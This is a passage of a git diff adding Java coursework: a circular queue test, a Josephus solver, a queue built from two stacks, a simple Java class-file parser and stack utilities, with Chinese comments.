+    @Before
+    public void startUp() {
+
+    }
+
+    @After
+    public void tearDown() {
+
+    }
+
+    @Test
+    public void testEnQueue() {
+        CircleQueue<Integer> circleQueue = new CircleQueue<Integer>();
+        {
+            for (int i = 0; i < 9; i++) {
+                circleQueue.enQueue(i);
+            }
+        }
+
+        {
+
+            Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6, 7, 8, null]", circleQueue.toString());
+            Assert.assertEquals(9, circleQueue.size());
+
+            circleQueue.enQueue(9);
+            Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
+            Assert.assertEquals(10, circleQueue.size());
+
+            circleQueue.enQueue(10);
+            Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
+            Assert.assertEquals(10, circleQueue.size());
+        }
+
+        {
+            int removeEle = circleQueue.deQueue();
+            Assert.assertEquals(0, removeEle);
+            circleQueue.deQueue();
+            circleQueue.deQueue();
+            circleQueue.deQueue();
+            Assert.assertEquals("[null, null, null, null, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
+        }
+        {
+            circleQueue.enQueue(-1);
+            Assert.assertEquals("[-1, null, null, null, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
+            Assert.assertEquals(7, circleQueue.size());
+        }
+
+    }
+
+
+}
diff --git a/group17/785396327/4.23/queue/Josephus.java b/group17/785396327/4.23/queue/Josephus.java
new file mode 100644
index 0000000000..7285c64dfe
--- /dev/null
+++ b/group17/785396327/4.23/queue/Josephus.java
@@ -0,0 +1,39 @@
+package queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数,     报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ */
+public class Josephus {
+    public static List<Integer> execute(int n, int m) {
+        if (m <= 0)
+            return null;
+        List<Integer> origin = new ArrayList<Integer>();
+        List<Integer> sequence = new ArrayList<Integer>();
+        for (int i = 0; i < n; i++) {
+            origin.add(i);
+        }
+        int count = 1;//计数器
+        int index = count - 1;//当前元素的索引
+        while (origin.size() > 1) {
+            if (count == m) {
+                sequence.add(origin.remove(index));
+                count = 1;//删除一个元素，则重新计数
+            } else {
+                count++;
+                if (index == origin.size() - 1)
+                    //遍历到最后一个元素，重回头索引
+                    index = 0;
+                else
+                    index++;
+            }
+        }
+        sequence.add(origin.get(0));
+        return sequence;
+    }
+}
diff --git a/group17/785396327/4.23/queue/JosephusTest.java b/group17/785396327/4.23/queue/JosephusTest.java
new file mode 100644
index 0000000000..87fe65211d
--- /dev/null
+++ b/group17/785396327/4.23/queue/JosephusTest.java
@@ -0,0 +1,26 @@
+package queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class JosephusTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testExecute() {
+
+        Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+        Assert.assertEquals("[1, 0, 2]", Josephus.execute(3, 2).toString());
+    }
+}
diff --git a/group17/785396327/4.23/queue/QueueWithTwoStacks.java b/group17/785396327/4.23/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..995bab9904
--- /dev/null
+++ b/group17/785396327/4.23/queue/QueueWithTwoStacks.java
@@ -0,0 +1,54 @@
+package queue;
+
+import stack.Stack;
+
+/**
+ * Created by gongxun on 2017/4/24.
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+
+    public boolean isEmpty() {
+        return stack1.size() == 0;
+    }
+
+
+    public int size() {
+        return stack1.size();
+    }
+
+
+    public void enQueue(E item) {
+        Stack<E> temp = new Stack<E>();
+        stack1.push(item);
+        while (!stack2.isEmpty())
+            temp.push(stack2.pop());
+        temp.push(item);
+        while (!temp.isEmpty())
+            stack2.push(temp.pop());
+    }
+
+    public E deQueue() {
+        Stack<E> temp = new Stack<E>();
+        E ele = stack2.pop();
+        while (!stack1.isEmpty())
+            temp.push(stack1.pop());
+        temp.pop();
+        while (!temp.isEmpty())
+            stack1.push(temp.pop());
+        return ele;
+    }
+
+    @Override
+    public String toString() {
+        return stack1.toString() + "\n" + stack2.toString();
+    }
+}
diff --git a/group17/785396327/4.23/queue/QueueWithTwoStacksTest.java b/group17/785396327/4.23/queue/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..e0c90c4b66
--- /dev/null
+++ b/group17/785396327/4.23/queue/QueueWithTwoStacksTest.java
@@ -0,0 +1,37 @@
+package queue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by gongxun on 2017/4/26.
+ */
+public class QueueWithTwoStacksTest {
+
+    private QueueWithTwoStacks queue;
+
+    @Before
+    public void startUp() {
+        queue = new QueueWithTwoStacks();
+        queue.enQueue(1);
+        queue.enQueue(2);
+        queue.enQueue(3);
+    }
+
+    @After
+    public void tearDown() {
+
+    }
+
+    @Test
+    public void enQueueTest() {
+        System.out.println(queue);
+    }
+
+    @Test
+    public void deQueueTest() {
+        queue.deQueue();
+        System.out.println(queue);
+    }
+}
diff --git a/group17/785396327/4.5/clz/AccessFlag.java b/group17/785396327/4.5/clz/AccessFlag.java
new file mode 100644
index 0000000000..bbdf7c8818
--- /dev/null
+++ b/group17/785396327/4.5/clz/AccessFlag.java
@@ -0,0 +1,28 @@
+package clz;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class AccessFlag {
+    private int flagValue;
+
+    public AccessFlag(int value) {
+        this.flagValue = value;
+    }
+
+    public int getFlagValue() {
+        return flagValue;
+    }
+
+    public void setFlagValue(int flag) {
+        this.flagValue = flag;
+    }
+
+    public boolean isPublicClass(){
+        return (this.flagValue & 0x0001) != 0;
+    }
+    public boolean isFinalClass(){
+        return (this.flagValue & 0x0010) != 0;
+    }
+
+}
diff --git a/group17/785396327/4.5/clz/ClassFile.java b/group17/785396327/4.5/clz/ClassFile.java
new file mode 100644
index 0000000000..f53199e6bb
--- /dev/null
+++ b/group17/785396327/4.5/clz/ClassFile.java
@@ -0,0 +1,120 @@
+package clz;
+
+import constant.ClassInfo;
+import constant.ConstantInfo;
+import constant.ConstantPool;
+import field.Field;
+import method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class ClassFile {
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+    private List<Field> fields = new ArrayList<Field>();
+    private List<Method> methods = new ArrayList<Method>();
+
+    public ClassIndex getClzIndex() {
+        return clzIndex;
+    }
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+    public void setAccessFlag(AccessFlag accessFlag) {
+        this.accessFlag = accessFlag;
+    }
+
+
+
+    public ConstantPool getConstantPool() {
+        return pool;
+    }
+    public int getMinorVersion() {
+        return minorVersion;
+    }
+    public void setMinorVersion(int minorVersion) {
+        this.minorVersion = minorVersion;
+    }
+    public int getMajorVersion() {
+        return majorVersion;
+    }
+    public void setMajorVersion(int majorVersion) {
+        this.majorVersion = majorVersion;
+    }
+    public void setConstPool(ConstantPool pool) {
+        this.pool = pool;
+
+    }
+    public void setClassIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f){
+        this.fields.add(f);
+    }
+    public List<Field> getFields(){
+        return this.fields;
+    }
+    public void addMethod(Method m){
+        this.methods.add(m);
+    }
+    public List<Method> getMethods() {
+        return methods;
+    }
+
+
+    public void print(){
+
+        if(this.accessFlag.isPublicClass()){
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:"+ getClassName());
+
+        System.out.println("Super Class Name:"+ getSuperClassName());
+
+        System.out.println("Constant pool:");
+
+
+    }
+
+    public String getClassName(){
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+    public String getSuperClassName(){
+        ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
+
+    public Method getMethod(String methodName, String paramAndReturnType) {
+        if (methods != null) {
+            for (Method method : methods) {
+                String name = getConstantPool().getUTF8String(method.getNameIndex());
+                String desc = getConstantPool().getUTF8String(method.getDescriptorIndex());
+                if(name.equals(methodName)&&desc.equals(paramAndReturnType))
+                    return method;
+            }
+        }
+        return null;
+    }
+    public Method getMainMethod(){
+        if (methods != null) {
+            for (Method method : methods) {
+                String name = getConstantPool().getUTF8String(method.getNameIndex());
+                String desc = getConstantPool().getUTF8String(method.getDescriptorIndex());
+                if(name.equals("main")&&desc.equals("([Ljava/lang/String;)V"))
+                    return method;
+            }
+        }
+        return null;
+    }
+}
diff --git a/group17/785396327/4.5/clz/ClassIndex.java b/group17/785396327/4.5/clz/ClassIndex.java
new file mode 100644
index 0000000000..d0eb281a09
--- /dev/null
+++ b/group17/785396327/4.5/clz/ClassIndex.java
@@ -0,0 +1,25 @@
+package clz;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class ClassIndex {
+    private int thisClassIndex;
+    private int superClassIndex;
+
+    public int getThisClassIndex() {
+        return thisClassIndex;
+    }
+
+    public void setThisClassIndex(int thisClassIndex) {
+        this.thisClassIndex = thisClassIndex;
+    }
+
+    public int getSuperClassIndex() {
+        return superClassIndex;
+    }
+
+    public void setSuperClassIndex(int superClassIndex) {
+        this.superClassIndex = superClassIndex;
+    }
+}
diff --git a/group17/785396327/4.5/constant/ClassInfo.java b/group17/785396327/4.5/constant/ClassInfo.java
new file mode 100644
index 0000000000..02aa4b2699
--- /dev/null
+++ b/group17/785396327/4.5/constant/ClassInfo.java
@@ -0,0 +1,32 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class ClassInfo extends ConstantInfo {
+    private int type = ConstantInfo.CLASS_INFO;
+    private int utf8Index ;
+    public ClassInfo(ConstantPool pool) {
+        super(pool);
+    }
+    public int getUtf8Index() {
+        return utf8Index;
+    }
+    public void setUtf8Index(int utf8Index) {
+        this.utf8Index = utf8Index;
+    }
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitClassInfo(this);
+    }
+
+    public String getClassName() {
+        int index = getUtf8Index();
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+        return utf8Info.getValue();
+    }
+}
diff --git a/group17/785396327/4.5/constant/ConstantInfo.java b/group17/785396327/4.5/constant/ConstantInfo.java
new file mode 100644
index 0000000000..156d96827d
--- /dev/null
+++ b/group17/785396327/4.5/constant/ConstantInfo.java
@@ -0,0 +1,50 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+
+    public abstract void accept(Visitor visitor);
+
+    public interface Visitor {
+        void visitClassInfo(ClassInfo info);
+
+        void visitFieldRef(FieldRefInfo info);
+
+        void visitMethodRef(MethodRefInfo info);
+
+        void visitNameAndType(NameAndTypeInfo info);
+
+        void visitString(StringInfo info);
+
+        void visistUTF8(UTF8Info info);
+
+    }
+}
diff --git a/group17/785396327/4.5/constant/ConstantPool.java b/group17/785396327/4.5/constant/ConstantPool.java
new file mode 100644
index 0000000000..396ccee230
--- /dev/null
+++ b/group17/785396327/4.5/constant/ConstantPool.java
@@ -0,0 +1,32 @@
+package constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class ConstantPool {
+    private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+
+
+    public ConstantPool(){
+
+    }
+    public void addConstantInfo(ConstantInfo info){
+
+        this.constantInfos.add(info);
+
+    }
+
+    public ConstantInfo getConstantInfo(int index){
+        return this.constantInfos.get(index);
+    }
+    public String getUTF8String(int index){
+        return ((UTF8Info)this.constantInfos.get(index)).getValue();
+    }
+    public Object getSize() {
+        return this.constantInfos.size() -1;
+    }
+
+}
diff --git a/group17/785396327/4.5/constant/FieldRefInfo.java b/group17/785396327/4.5/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..2f3d2ee351
--- /dev/null
+++ b/group17/785396327/4.5/constant/FieldRefInfo.java
@@ -0,0 +1,62 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitFieldRef(this);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString(){
+
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+
+        return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+    }
+
+    public String getClassName(){
+
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+
+        UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+
+        return utf8Info.getValue();
+
+    }
+
+    public String getFieldName(){
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType(){
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+}
diff --git a/group17/785396327/4.5/constant/MethodRefInfo.java b/group17/785396327/4.5/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7a95d2a6bb
--- /dev/null
+++ b/group17/785396327/4.5/constant/MethodRefInfo.java
@@ -0,0 +1,58 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class MethodRefInfo extends ConstantInfo{
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitMethodRef(this);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        return getClassName() + " : " + this.getMethodName() + " : " + this.getNameAndTypeIndex();
+    }
+
+    public String getClassName() {
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+}
diff --git a/group17/785396327/4.5/constant/NameAndTypeInfo.java b/group17/785396327/4.5/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..c7e720c0e3
--- /dev/null
+++ b/group17/785396327/4.5/constant/NameAndTypeInfo.java
@@ -0,0 +1,57 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+    private int index1;
+    private int index2;
+
+    public NameAndTypeInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex1() {
+        return index1;
+    }
+
+    public void setIndex1(int index1) {
+        this.index1 = index1;
+    }
+
+    public int getIndex2() {
+        return index2;
+    }
+
+    public void setIndex2(int index2) {
+        this.index2 = index2;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitNameAndType(this);
+    }
+
+
+    public String getName() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+        return utf8Info1.getValue();
+    }
+
+    public String getTypeInfo() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
+        return utf8Info2.getValue();
+    }
+
+    public String toString() {
+        return "(" + getName() + "," + getTypeInfo() + ")";
+    }
+
+}
diff --git a/group17/785396327/4.5/constant/NullConstantInfo.java b/group17/785396327/4.5/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..c49d937c76
--- /dev/null
+++ b/group17/785396327/4.5/constant/NullConstantInfo.java
@@ -0,0 +1,20 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class NullConstantInfo extends ConstantInfo {
+    public NullConstantInfo(){
+
+    }
+    @Override
+    public int getType() {
+        return -1;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        System.out.println("null Constant info");
+    }
+
+}
diff --git a/group17/785396327/4.5/constant/StringInfo.java b/group17/785396327/4.5/constant/StringInfo.java
new file mode 100644
index 0000000000..6953e7cdf8
--- /dev/null
+++ b/group17/785396327/4.5/constant/StringInfo.java
@@ -0,0 +1,34 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitString(this);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+
+    public String toString(){
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+}
diff --git a/group17/785396327/4.5/constant/UTF8Info.java b/group17/785396327/4.5/constant/UTF8Info.java
new file mode 100644
index 0000000000..814615f4f2
--- /dev/null
+++ b/group17/785396327/4.5/constant/UTF8Info.java
@@ -0,0 +1,39 @@
+package constant;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length ;
+    private String value;
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+    public int getLength() {
+        return length;
+    }
+    public void setLength(int length) {
+        this.length = length;
+    }
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visistUTF8(this);
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+    }
+    public String getValue() {
+        return value;
+    }
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+}
diff --git a/group17/785396327/4.5/iterator/ByteCodeIterator.java b/group17/785396327/4.5/iterator/ByteCodeIterator.java
new file mode 100644
index 0000000000..adfc288cc2
--- /dev/null
+++ b/group17/785396327/4.5/iterator/ByteCodeIterator.java
@@ -0,0 +1,64 @@
+package iterator;
+
+import util.Util;
+
+import java.util.Arrays;
+
+/**
+ * Created by IBM on 2017/4/11.
+ */
+public class ByteCodeIterator {
+
+    byte[] codes;
+
+    public ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+    }
+
+    public String nextU4ToHexString() {
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < 4; i++) {
+            byte code = codes[i];
+            int value = code & 0xff;
+            sb.append(Integer.toHexString(value));
+        }
+        codes = Arrays.copyOfRange(codes, 4, codes.length);
+        return sb.toString();
+    }
+
+    public int nextU2ToInt() {
+        byte[] buff = new byte[]{codes[0], codes[1]};
+        codes = Arrays.copyOfRange(codes, 2, codes.length);
+        return Util.byteToInt(buff);
+    }
+
+    public int nextU1ToInt() {
+        byte[] buff = new byte[]{codes[0]};
+        codes = Arrays.copyOfRange(codes, 1, codes.length);
+        return Util.byteToInt(buff);
+    }
+
+    public byte[] nextLengthBytes(int length) {
+        byte[] result = new byte[length];
+        for (int i = 0; i < length; i++) {
+            result[i] = codes[i];
+        }
+        codes = Arrays.copyOfRange(codes, length, codes.length);
+        return result;
+    }
+
+    public String nextLengthString(int length) {
+        byte[] result = new byte[length];
+        for (int i = 0; i < length; i++) {
+            result[i] = codes[i];
+        }
+        codes = Arrays.copyOfRange(codes, length, codes.length);
+        return Util.byteToHexString(result);
+    }
+
+    public int nextU4ToInt() {
+        byte[] buff = new byte[]{codes[0], codes[1], codes[2], codes[3]};
+        codes = Arrays.copyOfRange(codes, 4, codes.length);
+        return Util.byteToInt(buff);
+    }
+}
diff --git a/group17/785396327/4.5/parse/ClassFilePaser.java b/group17/785396327/4.5/parse/ClassFilePaser.java
new file mode 100644
index 0000000000..eb6514f449
--- /dev/null
+++ b/group17/785396327/4.5/parse/ClassFilePaser.java
@@ -0,0 +1,121 @@
+package parse;
+
+import clz.AccessFlag;
+import clz.ClassFile;
+import clz.ClassIndex;
+import com.sun.corba.se.impl.orbutil.closure.Constant;
+import constant.*;
+import field.Field;
+import iterator.ByteCodeIterator;
+import method.Method;
+import util.Util;
+
+import java.util.List;
+
+/**
+ * Created by william on 2017/4/11.
+ */
+public class ClassFilePaser {
+    private ClassFile classFile;
+
+    public ClassFile parse(byte[] codes) {
+        classFile = new ClassFile();
+
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+        String magic = iterator.nextU4ToHexString();
+        if (!"cafebabe".equals(magic))
+            return null;
+
+        classFile.setMinorVersion(iterator.nextU2ToInt());
+        classFile.setMajorVersion(iterator.nextU2ToInt());
+
+        ConstantPool constantPool = parseConstantPool(iterator);
+        classFile.setConstPool(constantPool);
+
+        AccessFlag accessFlag = parseAccessFlag(iterator);
+        classFile.setAccessFlag(accessFlag);
+
+        ClassIndex classIndex = parseClassIndex(iterator);
+        classFile.setClassIndex(classIndex);
+
+        iterator.nextU2ToInt();//没有接口直接读取两个字节
+
+        int fieldCount = iterator.nextU2ToInt();
+        for (int i = 0; i < fieldCount; i++) {
+            Field field = parseField(iterator, constantPool);
+            classFile.addField(field);
+        }
+
+        int methodCount = iterator.nextU2ToInt();
+        for (int i = 0; i < methodCount; i++) {
+            Method method = parseMethod(iterator, classFile);
+            classFile.addMethod(method);
+        }
+        return classFile;
+    }
+
+    private Method parseMethod(ByteCodeIterator iterator, ClassFile classFile) {
+        return Method.parse(classFile,iterator);
+    }
+
+    private Field parseField(ByteCodeIterator iterator, ConstantPool constantPool) {
+        return Field.parse(constantPool, iterator);
+    }
+
+    private ClassIndex parseClassIndex(ByteCodeIterator iterator) {
+        ClassIndex classIndex = new ClassIndex();
+        classIndex.setThisClassIndex(iterator.nextU2ToInt());
+        classIndex.setSuperClassIndex(iterator.nextU2ToInt());
+        return classIndex;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iterator) {
+        AccessFlag accessFlag = new AccessFlag(iterator.nextU2ToInt());
+        return accessFlag;
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iterator) {
+        int poolSize = iterator.nextU2ToInt();
+        System.out.println("constant pool size = " + (poolSize - 1));
+
+        ConstantPool constantPool = new ConstantPool();
+
+        constantPool.addConstantInfo(new NullConstantInfo());
+        for (int i = 1; i < poolSize; i++) {
+            int tag = iterator.nextU1ToInt();
+            if (tag == ConstantInfo.CLASS_INFO) {
+                ClassInfo classInfo = new ClassInfo(constantPool);
+                classInfo.setUtf8Index(iterator.nextU2ToInt());
+                constantPool.addConstantInfo(classInfo);
+            } else if (tag == ConstantInfo.METHOD_INFO) {
+                MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
+                methodRefInfo.setClassInfoIndex(iterator.nextU2ToInt());
+                methodRefInfo.setNameAndTypeIndex(iterator.nextU2ToInt());
+                constantPool.addConstantInfo(methodRefInfo);
+            } else if (tag == ConstantInfo.FIELD_INFO) {
+                FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
+                fieldRefInfo.setClassInfoIndex(iterator.nextU2ToInt());
+                fieldRefInfo.setNameAndTypeIndex(iterator.nextU2ToInt());
+                constantPool.addConstantInfo(fieldRefInfo);
+            } else if (tag == ConstantInfo.STRING_INFO) {
+                StringInfo stringInfo = new StringInfo(constantPool);
+                stringInfo.setIndex(iterator.nextU2ToInt());
+                constantPool.addConstantInfo(stringInfo);
+            } else if (tag == ConstantInfo.NAME_AND_TYPE_INFO) {
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
+                nameAndTypeInfo.setIndex1(iterator.nextU2ToInt());
+                nameAndTypeInfo.setIndex2(iterator.nextU2ToInt());
+                constantPool.addConstantInfo(nameAndTypeInfo);
+            } else if (tag == ConstantInfo.UTF8_INFO) {
+                UTF8Info utf8Info = new UTF8Info(constantPool);
+                int length = iterator.nextU2ToInt();
+                utf8Info.setLength(length);
+                utf8Info.setValue(new String(iterator.nextLengthBytes(length)));
+                constantPool.addConstantInfo(utf8Info);
+            } else {
+                System.out.println("other class info ");
+            }
+        }
+        return constantPool;
+    }
+}
diff --git a/group17/785396327/4.5/stack/MyStack.java b/group17/785396327/4.5/stack/MyStack.java
new file mode 100644
index 0000000000..80ee0fdd62
--- /dev/null
+++ b/group17/785396327/4.5/stack/MyStack.java
@@ -0,0 +1,35 @@
+package stack;
+
+import java.util.ArrayList;
+
+/**
+ * Created by gongxun on 2017/4/12.
+ */
+public class MyStack<T> {
+    private ArrayList<T> elementData = new ArrayList();
+
+    public void push(T o) {
+        elementData.add(0, o);
+    }
+
+    public T pop() {
+        return elementData.remove(0);
+    }
+
+    public T peek() {
+        return elementData.get(0);
+    }
+
+    public boolean isEmpty() {
+        return elementData.isEmpty();
+    }
+
+    public int size() {
+        return elementData.size();
+    }
+
+    @Override
+    public String toString() {
+        return elementData.toString();
+    }
+}
diff --git a/group17/785396327/4.5/stack/StackUtil.java b/group17/785396327/4.5/stack/StackUtil.java
new file mode 100644
index 0000000000..afaa5fce1b
--- /dev/null
+++ b/group17/785396327/4.5/stack/StackUtil.java
@@ -0,0 +1,115 @@
+package stack;
+
+/**
+ * Created by gongxun on 2017/4/12.
+ */
+public class StackUtil {
+    public static void bad_reverse(MyStack<Integer> s) {
+
+    }
+
+
+    public static void reverse_247565311(MyStack<Integer> s) {
+
+    }
+
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(MyStack<Integer> s) {
+        MyStack<Integer> tempStack = new MyStack<Integer>();
+        while (!s.isEmpty())
+            addToBottom(tempStack, s.pop());
+        while (!tempStack.isEmpty())
+            s.push(tempStack.pop());
+    }
+
+    public static void addToBottom(MyStack<Integer> s, Integer value) {
+        MyStack<Integer> reserveStack = new MyStack<Integer>();
+        while (!s.isEmpty())
+            reserveStack.push(s.pop());
+        s.push(value);
+        while (!reserveStack.isEmpty())
+            s.push(reserveStack.pop());
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(MyStack s, Object o) {
+        if (null == o)
+            return;
+        MyStack tempStack = new MyStack();
+        while (!s.isEmpty()) {
+            if (!s.peek().equals(o)) {
+                tempStack.push(s.pop());
+            } else {
+                s.pop();
+                break;
+            }
+        }
+        while (!tempStack.isEmpty())
+            s.push(tempStack.pop());
+    }
+
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(MyStack s, int len) {
+        if (len > s.size())
+            return null;
+        Object[] datas = new Object[len];
+        for (int i = 0; i < len; i++) {
+            datas[i] = s.pop();
+        }
+        return datas;
+    }
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
